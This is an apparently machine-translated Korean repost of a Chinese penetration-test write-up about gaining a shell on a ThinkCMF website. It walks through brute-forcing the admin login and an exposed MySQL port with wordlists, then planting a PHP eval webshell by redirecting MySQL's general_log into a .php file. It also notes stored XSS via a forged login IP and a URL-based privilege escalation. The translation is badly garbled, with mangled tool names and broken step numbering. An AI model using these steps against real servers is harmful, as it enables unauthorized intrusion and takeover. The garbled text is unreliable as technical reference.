제목 : 공인 침투 테스트를 기록하십시오

前言

공인 테스트에서 얼마 전까지 만해도 GetShell의 목적은 어떤 단계도 없이도 달성 될 수 없다고 생각했습니다. 단일 취약점은 실제로 평범하지만 결합하면 예상치 못한 화학적 효과가있을 수 있습니다.

前期测试

이 사이트를 얻었을 때 회원 로그인 인터페이스를 한눈에 보았습니다. 처음에는 등록에 대해 생각했지만 회원 기능은 거의 없어야하고 확인 코드가 없다고 생각했습니다. 백엔드 관리자가 회원 인 경우 백엔드로 이동하여 시도해 볼 수 없습니까?
1049983-20220119230130548-1144246894.png

휴대폰 번호 로그인을 보여 주지만 관리자를 시도 할 수 있으며 프론트 데스크에서 혼란스러워하지 않습니다. 사용자 이름을 열거 할 수 있다는 것은 우연의 일치이며 관리자 계정도 있습니다. 폭발하지 않으면 죄송합니다.
1049983-20220119230131076-904459722.png

사전은 오리 킹의 사전, 폭파 아티팩트를 사용합니다. 이 사전은 많은 사이트 (https://github.com/thekingofduck/fuzzdicts)를 폭파하는 데 사용되었습니다. 이번에 나는 그것을 폭파시키는 것이 운이 좋았다.
1049983-20220119230131627-1799870607.png

배경으로 가져 와서 로그인하면 관리자는 동일한 비밀번호를 사용하고 로그인하는 것을 좋아합니다. 백그라운드에서 업로드 할 수있는 접미사를 보았을 때 행복한 교환을 가질 수 있다고 생각했습니다. 접미사 PHP를 추가하고 업로드 할 원 스톱 getshell을 찾으십시오.
1049983-20220119230132091-388272471.png

이미지를 업로드하기 위해 편집자를 보았을 때, 나는 그렇게 간단하지 않다고 생각했습니다. 예상대로, 접미사의 추가는 작동하지 않았습니다.
1049983-20220119230132465-1921288281.png
1049983-20220119230132912-2069101477.png

나는 그것이 ThinkCMF 웹 사이트 구축 시스템이라는 것을 알았습니다. 나는 온라인에서 취약성을 검색하고 취약점 모음을 보았습니다 (https://www.hacking8.com/bug-web/thinkcms/thinkcmf漏洞 5%85%A8%E9%9B%86%E5%92%8c.html) 나는 실패했습니다. 나는 계속 검색했다 (https://www.freebuf.com/vuls/217586.html). 기본적으로 모든 페이로드를 시도했습니다. 취약성이 높은 버전으로 고정되어 있거나 활용 방법이 올바르지 않았지만 성공적으로 악용되지 않았습니다. 일부 방법은 웹 사이트에 파괴적이며 시도해 보면 사망하지 않을 것입니다. 지금까지 gl을 할 수 없으므로 허점을 찾으십시오. 당신이 할 수 없다면, 더 많은 허점을 찾으십시오. 당신은 당신의 지도자의 말을들을 수 없습니다.

进阶阶段

처음에 웹 사이트를 열 때 Google 플러그인 센서 (T00L에 발견)를 설치할 수 있으며 웹 사이트의 민감한 디렉토리는 백업 파일, phpmyadmin, phpinfo 등과 같이 처음에 감지 될 수 있으며 Phpinfo의 존재는 처음부터 감지되었으며 웹 사이트의 절대 경로가 얻어졌습니다.
1049983-20220119230133438-1262866321.png

나는 NMAP를 사용하여 열린 포트를 감지했으며 포트 3306이 대중에게 열렸고 절대 경로가 있음을 발견했습니다. 희망없이 3306을 폭파하고 싶습니다. 어쨌든, 나는 몇 가지 3306 비밀번호를 터뜨리지 않았습니다. 나는 Super Break Password Check 도구를 사용한 다음 Duck King 's Dictionary를 사용했습니다. 사전이 강력한 지 또는 운이 폭발하는지 누가 알 수 있습니까? 그건 그렇고, 이것은 약한 암호가 아닙니다. 사전 에이 비밀번호가 있다고 말할 수 있습니다. 사전이 존재하는 한 잘못이 아닙니다.
1049983-20220119230133879-1560405270.png

다음은 정기적 인 작업입니다. 로깅을 시도해보십시오
'%일반%'와 같은 변수를 표시합니다. 로그 상태를 봅니다
Global general_log='on'로그 켜기 로그 읽기 및 쓰기를 설정하십시오
Global general_log_file='xxx.php'로그 경로를 지정하십시오
선택 '? php eval ($ _ post ['cmd ']);' xxx.php에 로그를 작성하십시오
1049983-20220119230134382-1414972147.png

其他漏洞

책임있는 태도에 근거하여, 다른 허점이 발견되었지만 상대적으로 덜 해롭지 만 테스트 보고서를 작성할 필요가 없다면 작성할 수 있습니다.
登录IP伪造이 백엔드에는 일반적으로 사용자의 로그인 IP를 기록하는 습관이 있지만 IP를 녹음 할 때 IP가 선택되면 공격자는 로그인 IP를 위조 할 수 있습니다. IP의 정당성이 확인되지 않은 경우 스토리지 XSS를 트리거하기 위해 XSS 페이로드를 구성하는 것은 불가능하지 않습니다. 나는 시험 중에 여러 번 접했다. 스토리지 XSS는 멤버 로그인 IP가 기록되는 백그라운드에 있습니다.
1049983-20220119230134905-556140564.png
1049983-20220119230135328-639271512.png

그러나 여기서 유일한 단점은 배경이 IP의 정당성을 확인한다는 것입니다. 불법 IP 인 경우 0.0.0.0.0으로 재설정됩니다.
越权漏洞로그인 한 후 관리자가 직접 작동 할 수 없다는 것을 알았습니다. 이것은 창피합니다. 관리자는 그의 정보를 변경할 수 없었습니다.
1049983-20220119230135738-49515233.png

변경할 수있는 링크를 찾는 매우 간단한 방법입니다. URL을 변경하여 관리자의 정보를 수정하십시오. 경험에 따르면 관리자가 자신의 정보를 변경하는 많은 상황은 프론트 엔드 제한입니다.
1049983-20220119230136201-892800483.png

그러면 세부 정보 페이지가 나타나면 수정할 수 있습니다. 여기서 회원 수준을 수정하고 평범한 멤버에서 VIP로 자신을 돌립니다. 관리자는 어떻게 일반 회원이 될 수 있습니까?
1049983-20220119230136738-1892952133.png
总结1. 대상 사이트 관리자의 백그라운드에 관리자 계정을 입력하십시오. 비밀번호는 임의적이며 암호가 잘못 표시됩니다. 관리자 계정이 존재합니다. 2. BP의 침입자 기능을 통해 관리자 계정을 폭파하십시오. 암호 사전은 FuzzDicts Dictionary (https://github.com/thekingofduck/fuzzdicts)를 사용하여 성공적으로 폭파 할 수 있습니다. 3. 배경을 입력 한 후 이미지의 업로드가 업로드되었지만 업로드 사이트의 대상 사이트는 화이트리스트에서 제한되어 문장을 업로드 할 수 없습니다. 4. 클라우드 크리켓을 통해 대상 사이트는 CMS 지문에 의해 감지되었으며 ThinkCM 시스템 인 것으로 밝혀졌습니다. 그것은 몇 가지 역사적 취약점을 테스트했지만 결실이 없었습니다. 16. 정보 감지는 Google Chrome 플러그인 센서를 통해 수행되었으며 phpinfo.php가 발견되었습니다. 웹 사이트의 절대 경로가 여기에 표시됩니다. 17. NAMP를 통해 대상 사이트의 IP를 스캔하고 포트 3306 18. 대상 사이트의 포트 3306이 초인 비밀번호 도구를 통해 폭파되고 암호가 마침내 성공적으로 폭파되었습니다. 19. 원격으로 대상 사이트에 MySQL에 연결하여 Navicat을 통해 SQL 명령 터미널 쇼 변수에서 로그 로깅을 통해 문장을 작성하십시오. 로그 상태보기 Global general_log='on'로그 켜기 로그 켜기 및 쓰기 세트 GOLD General_log_file='xxx.php'로그 경로 지정 '? php eval ($ _ post ['cmd '));' 로그를 xxx.php20에 작성하십시오. 마지막으로, Ang Sword를 통해 성공적으로 연결하십시오. 출처 : https://xz.aliyun.com/t/10460
 
뒤로
상단